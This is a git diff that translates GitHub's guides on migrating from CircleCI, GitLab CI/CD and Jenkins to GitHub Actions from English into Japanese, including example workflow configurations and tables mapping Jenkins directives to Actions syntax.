+{% data variables.product.prodname_dotcom %} ホストの仮想環境で使用できるツールとパッケージの詳細については、「[{% data variables.product.prodname_dotcom %} ホストランナーの仕様](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」を参照してください。
 {% endif %}
 
-## Using variables and secrets
+## 変数とシークレットの利用
 
-CircleCI and {% data variables.product.prodname_actions %} support setting environment variables in the configuration file and creating secrets using the CircleCI or {% data variables.product.product_name %} UI.
+CircleCIと{% data variables.product.prodname_actions %}は、設定ファイル内での環境変数の設定と、CircleCIもしくは{% data variables.product.product_name %}のUIを使ったシークレットの作成をサポートしています。
 
-For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)" and "[Creating and using encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
+詳しい情報については「[環境変数の利用](/actions/configuring-and-managing-workflows/using-environment-variables)」及び「[暗号化されたシークレットの作成と利用](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)」を参照してください。
 
-## Caching
+## キャッシング
 
-CircleCI and {% data variables.product.prodname_actions %} provide a method to manually cache files in the configuration file.
+CircleCIと{% data variables.product.prodname_actions %}は、設定ファイル中で手動でファイルをキャッシュする方法を提供しています。
 
-Below is an example of the syntax for each system.
+以下は、それぞれのシステムにおける構文の例です。
 
 <table class="d-block">
 <tr>
@@ -118,15 +119,15 @@ GitHub Actions
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+{% data variables.product.prodname_actions %} キャッシュは、{% data variables.product.prodname_dotcom_the_website %} でホストされているリポジトリにのみ適用できます。 詳しい情報については、「<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">ワークフローを高速化するための依存関係のキャッシュ</a>」を参照してください。
 
-{% data variables.product.prodname_actions %} does not have an equivalent of CircleCI’s Docker Layer Caching (or DLC).
+{% data variables.product.prodname_actions %}は、CircleCIのDocker Layer Caching（DLC）に相当する機能を持っていません。
 
-## Persisting data between jobs
+## ジョブ間でのデータの永続化
 
-Both CircleCI and {% data variables.product.prodname_actions %} provide mechanisms to persist data between jobs.
+CircleCIと{% data variables.product.prodname_actions %}は、どちらもジョブ間でデータを永続化するための仕組みを提供しています。
 
-Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax.
+以下は、CircleCIと{% data variables.product.prodname_actions %}の設定構文の例です。
 
 <table>
 <tr>
@@ -174,15 +175,15 @@ GitHub Actions
 </tr>
 </table>
 
-For more information, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
+詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)」を参照してください。
 
-## Using databases and service containers
+## データベースとサービスコンテナの利用
 
-Both systems enable you to include additional containers for databases, caching, or other dependencies.
+どちらのシステムでも、データベース、キャッシング、あるいはその他の依存関係のための追加コンテナを含めることができます。
 
-In CircleCI, the first image listed in the *config.yaml* is the primary image used to run commands. {% data variables.product.prodname_actions %} uses explicit sections: use `container` for the primary container, and list additional containers in `services`.
+CircleCIでは、*config.yaml*で最初に挙げられているイメージが、コマンドの実行に使われる主要なイメージです。 {% data variables.product.prodname_actions %}は明示的なセクションを使います。主要なコンテナには`container`を使い、追加のコンテナは`services`にリストしてください。
 
-Below is an example in CircleCI and {% data variables.product.prodname_actions %} configuration syntax.
+以下は、CircleCIと{% data variables.product.prodname_actions %}の設定構文の例です。
 
 <table class="d-block">
 <tr>
@@ -275,12 +276,12 @@ jobs:
           POSTGRES_PASSWORD: ""
         ports:
           - 5432:5432
-        # Add a health check
+        # ヘルスチェックを追加
         options: --health-cmd pg_isready --health-interval 10s --health-timeout 5s --health-retries 5
 
     steps:
-      # This Docker file changes sets USER to circleci instead of using the default user, so we need to update file permissions for this image to work on GH Actions.
-      # See https://docs.github.com/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem
+      # このDockerファイルは、デフォルトユーザではなくUSERをcirceciに変更するので、このイメージのファイルの権限をGH Actionsで動作するように変更しなければならない。
+      # https://docs.github.com/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem を参照
       - name: Setup file system permissions
         run: sudo chmod -R 777 $GITHUB_WORKSPACE /github /__w/_temp
       - uses: actions/checkout@v2
@@ -298,11 +299,11 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[About service containers](/actions/configuring-and-managing-workflows/about-service-containers)."
+詳しい情報については「[サービスコンテナについて](/actions/configuring-and-managing-workflows/about-service-containers)」を参照してください。
 
-## Complete Example
+## 完全な例
 
-Below is a real-world example. The left shows the actual CircleCI *config.yml* for the [thoughtbot/administrator](https://github.com/thoughtbot/administrate) repository. The right shows the {% data variables.product.prodname_actions %} equivalent.
+以下は実際の例です。 左は[ thoughtbot/administrator](https://github.com/thoughtbot/administrate)リポジトリのための実際の*config.yml*を示しています。 右は、同等の{% data variables.product.prodname_actions %}を示しています。
 
 <table class="d-block">
 <tr>
diff --git a/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md b/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
index 1d15ec53f9..7c45b56a01 100644
--- a/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
+++ b/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from GitLab CI/CD to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and GitLab CI/CD share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: GitLab CI/CD から GitHub Actions への移行
+intro: '{% data variables.product.prodname_actions %} と GitLab CI/CDはいくつかの点で設定が似ているため、{% data variables.product.prodname_actions %} への移行は比較的簡単です。'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-gitlab-cicd-to-github-actions
 versions:
@@ -20,28 +20,28 @@ shortTitle: Migrate from GitLab CI/CD
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. GitLab CI/CD and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+GitLab CI/CD と {% data variables.product.prodname_actions %} は、どちらも自動的にコードのビルド、テスト、公開、リリース、デプロイを行うワークフローを作成できます。 GitLab CI/CD と {% data variables.product.prodname_actions %} は、ワークフローの設定において似ているところがあります。
 
-- Workflow configuration files are written in YAML and are stored in the code's repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Jobs can run on either managed or self-hosted machines.
+- ワークフローの設定ファイルはYAMLで書かれ、コードのリポジトリに保存されます。
+- ワークフローには1つ以上のジョブが含まれます。
+- ジョブには1つ以上のステップもしくは個別のコマンドが含まれます。
+- ジョブは、マネージドマシンまたはセルフホストマシンのいずれかで実行できます。
 
-There are a few differences, and this guide will show you the important differences so that you can migrate your workflow to {% data variables.product.prodname_actions %}.
+いくつかの違いがありますので、このガイドでは、ワークフローを {% data variables.product.prodname_actions %} に移行できるようにする際の重要な違いを説明します。
 
-## Jobs
+## ジョブ
 
-Jobs in GitLab CI/CD are very similar to jobs in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics:
+GitLab CI/CD のジョブは、{% data variables.product.prodname_actions %} のジョブと非常によく似ています。 どちらのシステムでも、ジョブは以下の特徴を持ちます。
 
-* Jobs contain a series of steps or scripts that run sequentially.
-* Jobs can run on separate machines or in separate containers.
-* Jobs run in parallel by default, but can be configured to run sequentially.
+* ジョブには、順番に実行される一連のステップまたはスクリプトが含まれています。
+* ジョブは、個別のマシンまたは個別のコンテナで実行できます。
+* ジョブは、デフォルトでは並列に実行されますが、順次実行するように設定することもできます。
 
-You can run a script or a shell command in a job. In GitLab CI/CD, script steps are specified using the `script` key. In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key.
+ジョブ内でスクリプトまたはシェルコマンドを実行できます。 GitLab CI/CD では、`script` キーを使用してスクリプトステップを指定します。 {% data variables.product.prodname_actions %}では、すべてのスクリプトは`run`キーを使って指定されます。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table class="d-block">
 <tr>
@@ -78,11 +78,11 @@ jobs:
 </tr>
 </table>
 
-## Runners
+## ランナー
 
-Runners are machines on which the jobs run. Both GitLab CI/CD and {% data variables.product.prodname_actions %} offer managed and self-hosted variants of runners. In GitLab CI/CD, `tags` are used to run jobs on different platforms, while in {% data variables.product.prodname_actions %} it is done with the `runs-on` key.
+ランナーは、ジョブが実行されるマシンです。 GitLab CI/CD と {% data variables.product.prodname_actions %} はどちらも、マネージドおよびセルフホストのランナーのバリエーションを提供しています。 GitLab CI/CD では、さまざまなプラットフォームでジョブを実行するために `tags` を使用しますが、{% data variables.product.prodname_actions %} では `runs-on` を使用します。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table>
 <tr>
@@ -129,13 +129,13 @@ linux_job:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)."
+詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)」を参照してください。
 
-## Docker images
+## Docker イメージ
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} support running jobs in a Docker image. In GitLab CI/CD, Docker images are defined with an `image` key, while in {% data variables.product.prodname_actions %} it is done with the `container` key.
+GitLab CI/CD と {% data variables.product.prodname_actions %} はどちらも、Docker イメージ内でのジョブの実行をサポートしています。 In GitLab CI/CD, Docker images are defined with an `image` key, while in {% data variables.product.prodname_actions %} it is done with the `container` key.
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table class="d-block">
 <tr>
@@ -167,13 +167,13 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)."
+詳しい情報については、「[{% data variables.product.prodname_actions %} のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)」を参照してください。
 
-## Condition and expression syntax
+## 条件と式の構文
 
-GitLab CI/CD uses `rules` to determine if a job will run for a specific condition. {% data variables.product.prodname_actions %} uses the `if` keyword to prevent a job from running unless a condition is met.
+GitLab CI/CD は、特定の条件でジョブを実行するかどうかを決定するために `rules` を使用します。 {% data variables.product.prodname_actions %} は、`if` キーワードを使用して、条件が満たされない限りジョブが実行されないようにします。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table class="d-block">
 <tr>
@@ -214,11 +214,11 @@ jobs:
 
 For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-## Dependencies between Jobs
+## ジョブ間の依存関係
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies in {% data variables.product.prodname_actions %} can be specified explicitly with the `needs` key. GitLab CI/CD also has a concept of `stages`, where jobs in a stage run concurrently, but the next stage will start when all the jobs in the previous stage have completed. You can recreate this scenario in {% data variables.product.prodname_actions %} with the `needs` key.
+GitLab CI/CD と {% data variables.product.prodname_actions %} の両方で、ジョブの依存関係を設定できます。 どちらのシステムでも、ジョブはデフォルトで並行して実行されますが、{% data variables.product.prodname_actions %} のジョブの依存関係は `needs` キーで明示的に指定できます。 GitLab CI/CD には、`stages` の概念もあります。ステージ内のジョブは同時に実行されますが、次のステージは、前のステージのすべてのジョブが完了すると開始されます。 このシナリオは、`needs` キーを使用して {% data variables.product.prodname_actions %} で再作成できます。
 
-Below is an example of the syntax for each system. The workflows start with two jobs named `build_a` and `build_b` running in parallel, and when those jobs complete, another job called `test_ab` will run. Finally, when `test_ab` completes, the `deploy_ab` job will run.
+以下は、それぞれのシステムにおける構文の例です。 ワークフローは、`build_a` と `build_b` という名前の 2 つのジョブを並行して実行することから始まり、これらのジョブが完了すると、`test_ab` という別のジョブが実行されます。 最後に、`test_ab` が完了すると、`deploy_ab` ジョブが実行されます。
 
 <table class="d-block">
 <tr>
@@ -291,25 +291,25 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)」を参照してください。
 
-## Scheduling workflows
+## ワークフローのスケジューリング
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} allow you to run workflows at a specific interval. In GitLab CI/CD, pipeline schedules are configured with the UI, while in {% data variables.product.prodname_actions %} you can trigger a workflow on a scheduled interval with the "on" key.
+GitLab CI/CD と {% data variables.product.prodname_actions %} の両方を使用すると、特定の間隔でワークフローを実行できます。 GitLab CI/CD では、パイプラインスケジュールは UI で設定されますが、{% data variables.product.prodname_actions %} では、「on」キーを使用してスケジュールされた間隔でワークフローをトリガーできます。
 
-For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#scheduled-events)."
+詳しい情報については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows#scheduled-events)」を参照してください。
 
-## Variables and secrets
+## 変数とシークレット
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} support setting environment variables in the pipeline or workflow configuration file, and creating secrets using the GitLab or {% data variables.product.product_name %} UI.
+GitLab CI/CD および {% data variables.product.prodname_actions %} は、パイプラインまたはワークフロー設定ファイルでの環境変数の設定、および GitLab または {% data variables.product.product_name %} UI を使用したシークレットの作成をサポートしています。
 
-For more information, see "[Environment variables](/actions/reference/environment-variables)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+詳しい情報については、「[環境変数](/actions/reference/environment-variables)」および「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」を参照してください。
 
-## Caching
+## キャッシング
 
-GitLab CI/CD and {% data variables.product.prodname_actions %} provide a method in the configuration file to manually cache workflow files.
+GitLab CI/CD と {% data variables.product.prodname_actions %} では、設定ファイルにワークフローファイルを手動でキャッシュするためのメソッドがあります。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table class="d-block">
 <tr>
@@ -359,13 +359,13 @@ jobs:
 </tr>
 </table>
 
-{% data variables.product.prodname_actions %} caching is only applicable for repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+{% data variables.product.prodname_actions %} キャッシュは、{% data variables.product.prodname_dotcom_the_website %} でホストされているリポジトリにのみ適用できます。 詳しい情報については、「<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">ワークフローを高速化するための依存関係のキャッシュ</a>」を参照してください。
 
-## Artifacts
+## 成果物
 
-Both GitLab CI/CD and {% data variables.product.prodname_actions %} can upload files and directories created by a job as artifacts. In {% data variables.product.prodname_actions %}, artifacts can be used to persist data across multiple jobs.
+GitLab CI/CD と {% data variables.product.prodname_actions %} はどちらも、ジョブによって作成されたファイルとディレクトリを成果物としてアップロードできます。 {% data variables.product.prodname_actions %} では、成果物を使用して、複数のジョブ間でデータを永続化できます。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table>
 <tr>
@@ -401,15 +401,15 @@ artifacts:
 </tr>
 </table>
 
-For more information, see "[Storing workflow data as artifacts](/actions/guides/storing-workflow-data-as-artifacts)."
+詳しい情報については、「[ワークフローデータを成果物として保存する](/actions/guides/storing-workflow-data-as-artifacts)」を参照してください。
 
-## Databases and service containers
+## データベースとサービスコンテナ
 
-Both systems enable you to include additional containers for databases, caching, or other dependencies.
+どちらのシステムでも、データベース、キャッシング、あるいはその他の依存関係のための追加コンテナを含めることができます。
 
-In GitLab CI/CD, a container for the job is specified with the `image` key, while {% data variables.product.prodname_actions %} uses the `container` key. In both systems, additional service containers are specified with the `services` key.
+GitLab CI/CD では、ジョブのコンテナは `image` キーで指定しますが、{% data variables.product.prodname_actions %} は `container` キーを使用します。 どちらのシステムでも、追加のサービスコンテナは `services` キーで指定します。
 
-Below is an example of the syntax for each system:
+以下が、それぞれのシステムの構文の例です。
 
 <table class="d-block">
 <tr>
@@ -427,20 +427,20 @@ GitLab CI/CD
 container-job:
   variables:
     POSTGRES_PASSWORD: postgres
-    # The hostname used to communicate with the
-    # PostgreSQL service container
+    # PostgreSQLサービスコンテナと通信するために
+    # 使われるホスト名
     POSTGRES_HOST: postgres
-    # The default PostgreSQL port
+    # PostgreSQLのデフォルトのポート
     POSTGRES_PORT: 5432
   image: node:10.18-jessie
   services:
     - postgres
   script:
-    # Performs a clean installation of all dependencies
-    # in the `package.json` file
+    # `package.json`ファイル中のすべての依存関係を
+    # クリーンインストールする
     - npm ci
-    # Runs a script that creates a PostgreSQL client,
-    # populates the client with data, and retrieves data
+    # PostgreSQLクライアントを作成し、クライアントにデータを
+    # 展開し、データを取り出すスクリプトを実行する
     - node client.js
   tags:
     - docker
@@ -465,20 +465,20 @@ jobs:
       - name: Check out repository code
         uses: actions/checkout@v2
 
-      # Performs a clean installation of all dependencies
-      # in the `package.json` file
+      # 「package.json」ファイル内のすべての依存関係の 
+      # クリーンインストールを実行する
       - name: Install dependencies
         run: npm ci
 
       - name: Connect to PostgreSQL
-        # Runs a script that creates a PostgreSQL client,
-        # populates the client with data, and retrieves data
+        # PostgreSQL クライアントを作成してクライアントにデータを入力し 
+        # データを取得するスクリプトを実行する
         run: node client.js
         env:
-          # The hostname used to communicate with the
-          # PostgreSQL service container
+          # PostgreSQL サービスコンテナとの通信に
+          # 使用されるホスト名
           POSTGRES_HOST: postgres
-          # The default PostgreSQL port
+          # デフォルトの PostgreSQL ポート
           POSTGRES_PORT: 5432
 ```
 {% endraw %}
@@ -486,4 +486,4 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[About service containers](/actions/guides/about-service-containers)."
+詳しい情報については、「[サービスコンテナについて](/actions/guides/about-service-containers)」を参照してください。
diff --git a/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md b/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
index dba3e38286..6970111b42 100644
--- a/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
+++ b/translations/ja-JP/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Jenkins to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Jenkins share multiple similarities, which makes migration to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: JenkinsからGitHub Actionsへの移行
+intro: '{% data variables.product.prodname_actions %}とJenkinsには複数の相似点があり、そのため{% data variables.product.prodname_actions %}への移行は比較的単純です。'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-jenkins-to-github-actions
 versions:
@@ -20,97 +20,98 @@ shortTitle: Migrate from Jenkins
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-Jenkins and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Jenkins and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+Jenkinsと{% data variables.product.prodname_actions %}は、どちらも自動的にコードのビルド、テスト、公開、リリース、デプロイを行うワークフローを作成できます。 Jenkinsと{% data variables.product.prodname_actions %}は、ワークフローの設定において似ているところがあります。
 
-- Jenkins creates workflows using _Declarative Pipelines_, which are similar to {% data variables.product.prodname_actions %} workflow files.
-- Jenkins uses _stages_ to run a collection of steps, while {% data variables.product.prodname_actions %} uses jobs to group one or more steps or individual commands.
-- Jenkins and {% data variables.product.prodname_actions %} support container-based builds. For more information, see "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
-- Steps or tasks can be reused and shared with the community.
+- Jenkinsは_宣言的パイプライン_を使ってワークフローを作成します。これは{% data variables.product.prodname_actions %}のワークフローファイルに似ています。
+- Jenkinsは_ステージ_を使ってステップの集合を実行しますが、{% data variables.product.prodname_actions %}は1つ以上のステップもしくは個別のコマンドをグループ化するのにジョブを使います。
+- Jenkinsと{% data variables.product.prodname_actions %}はコンテナベースのビルドをサポートします。 詳しい情報については「[Docker コンテナアクションを作成する](/articles/creating-a-docker-container-action)」を参照してください。
+- ステップもしくはタスクは、再利用とコミュニティとの共有が可能です。
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+詳しい情報については、「[{% data variables.product.prodname_actions %}の中核的概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)」を参照してください。
 
-## Key differences
+## 主要な差異
 
-- Jenkins has two types of syntax for creating pipelines: Declarative Pipeline and Scripted Pipeline. {% data variables.product.prodname_actions %} uses YAML to create workflows and configuration files. For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions)."
-- Jenkins deployments are typically self-hosted, with users maintaining the servers in their own data centers. {% data variables.product.prodname_actions %} offers a hybrid cloud approach by hosting its own runners that you can use to run jobs, while also supporting self-hosted runners. For more information, see [About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners).
+- Jenkinsには、パイプラインの作成用の構文として、宣言的パイプラインとスクリプトパイプラインの2種類があります。 {% data variables.product.prodname_actions %}は、ワークフローと設定ファイルの作成にYAMLを使います。 詳しい情報については、「[GitHub Actionsのワークフロー構文](/actions/reference/workflow-syntax-for-github-actions)」を参照してください。
+- Jenkinsのデプロイメントは通常セルフホストであり、ユーザが自身のデータセンター内のサーバーをメンテナンスします。 {% data variables.product.prodname_actions %}は、ジョブの実行に利用できる独自のランナーをホストするハイブリッドクラウドのアプローチを提供しながら、セルフホストランナーもサポートします。 詳しい情報については「[セルフホストランナーについて](/actions/hosting-your-own-runners/about-self-hosted-runners)」を参照してください。
 
-## Comparing capabilities
+## 機能の比較
 
-### Distributing your builds
+### ビルドの分配
 
-Jenkins lets you send builds to a single build agent, or you can distribute them across multiple agents. You can also classify these agents according to various attributes, such as operating system types.
+Jenkinsでは、ビルドを単一のビルドエージェントに送信することも、複数のエージェントに対して分配することもできます。 それらのエージェントを、オペレーティングシステムの種類などの様々な属性に従って分類することもできます。
 
-Similarly, {% data variables.product.prodname_actions %} can send jobs to {% data variables.product.prodname_dotcom %}-hosted or self-hosted runners, and you can use labels to classify runners according to various attributes. For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions#runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+同様に、{% data variables.product.prodname_actions %} はジョブを {% data variables.product.prodname_dotcom %} ホストまたはセルフホストランナーに送信でき、ラベルを使用してさまざまな属性に従ってランナーを分類できます。 For more information, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions#runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
 
-### Using sections to organize pipelines
+### セクションを利用したパイプラインの整理
 
-Jenkins splits its Declarative Pipelines into multiple sections. Similarly, {% data variables.product.prodname_actions %} organizes its workflows into separate sections. The table below compares Jenkins sections with the {% data variables.product.prodname_actions %} workflow.
+Jenkinsは、宣言的パイプラインを複数のセクションに分割します。 同様に、{% data variables.product.prodname_actions %} はワークフローを個別のセクションに編成します。 以下の表は、Jenkinsのセクションを{% data variables.product.prodname_actions %}のワークフローと比較しています。
 
-| Jenkins Directives | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
+| Jenkinsのディレクティブ                                                 | {% data variables.product.prodname_actions %}
+| --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
 | [`agent`](https://jenkins.io/doc/book/pipeline/syntax/#agent)   | [`jobs.<job_id>.runs-on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on) <br> [`jobs.<job_id>.container`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainer) |
-| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post)     |  |
-| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs) |
-| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps)   | [`jobs.<job_id>.steps`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps) |
+| [`post`](https://jenkins.io/doc/book/pipeline/syntax/#post)     |                                                                                                                                                                                                                                                                                                        |
+| [`stages`](https://jenkins.io/doc/book/pipeline/syntax/#stages) | [`jobs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs)                                                                                                                                                                                                |
+| [`steps`](https://jenkins.io/doc/book/pipeline/syntax/#steps)   | [`jobs.<job_id>.steps`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)                                                                                                                                                                |
 
-## Using directives
+## ディレクティブの利用
 
-Jenkins uses directives to manage _Declarative Pipelines_. These directives define the characteristics of your workflow and how it will execute. The table below demonstrates how these directives map to concepts within {% data variables.product.prodname_actions %}.
+Jenkinsは、_宣言的パイプライン_を管理するためにディレクティブを使います。 それらのディレクティブは、ワークフローの特徴と、その実行方法を定義します。 以下の表は、それらのディレクティブが{% data variables.product.prodname_actions %}の概念とどのように対応するかを示しています。
 
-| Jenkins Directives | {% data variables.product.prodname_actions %} |
-| ------------- | ------------- |
-| [`environment`](https://jenkins.io/doc/book/pipeline/syntax/#environment)                  | [`jobs.<job_id>.env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env) <br> [`jobs.<job_id>.steps[*].env`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv) |
-| [`options`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                       | [`jobs.<job_id>.strategy`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy) <br> [`jobs.<job_id>.strategy.fail-fast`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast) <br> [`jobs.<job_id>.timeout-minutes`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes) |
-| [`parameters`](https://jenkins.io/doc/book/pipeline/syntax/#parameters)                    | [`inputs`](/actions/creating-actions/metadata-syntax-for-github-actions#inputs) <br> [`outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs) |
-| [`triggers`](https://jenkins.io/doc/book/pipeline/syntax/#triggers)                        | [`on`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on) <br> [`on.<event_name>.types`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes) <br> [<code>on.<push\|pull_request>.<branches\|tags></code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestbranchestags) <br> [<code>on.<push\|pull_request>.paths</code>](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpaths) |
-| [`triggers { upstreamprojects() }`](https://jenkins.io/doc/book/pipeline/syntax/#triggers) | [`jobs.<job_id>.needs`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds) |
-| [Jenkins cron syntax](https://jenkins.io/doc/book/pipeline/syntax/#cron-syntax)            | [`on.schedule`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onschedule) |
-| [`stage`](https://jenkins.io/doc/book/pipeline/syntax/#stage)                              | [`jobs.<job_id>`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id) <br> [`jobs.<job_id>.name`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname) |
-| [`tools`](https://jenkins.io/doc/book/pipeline/syntax/#tools)                              | {% ifversion ghae %}The command-line tools available in `PATH` on your self-hosted runner systems. {% data reusables.actions.self-hosted-runners-software %}{% else %}[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software) |{% endif %}
-| [`input`](https://jenkins.io/doc/book/pipeline/syntax/#input)                              | [`inputs`](/actions/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs) |
-| [`when`](https://jenkins.io/doc/book/pipeline/syntax/#when)                                | [`jobs.<job_id>.if`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif) |
+| Jenkinsのディレクティブ                                                                                                                                                                                                                                                                                                                         | {% data variables.product.prodname_actions %}
+| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
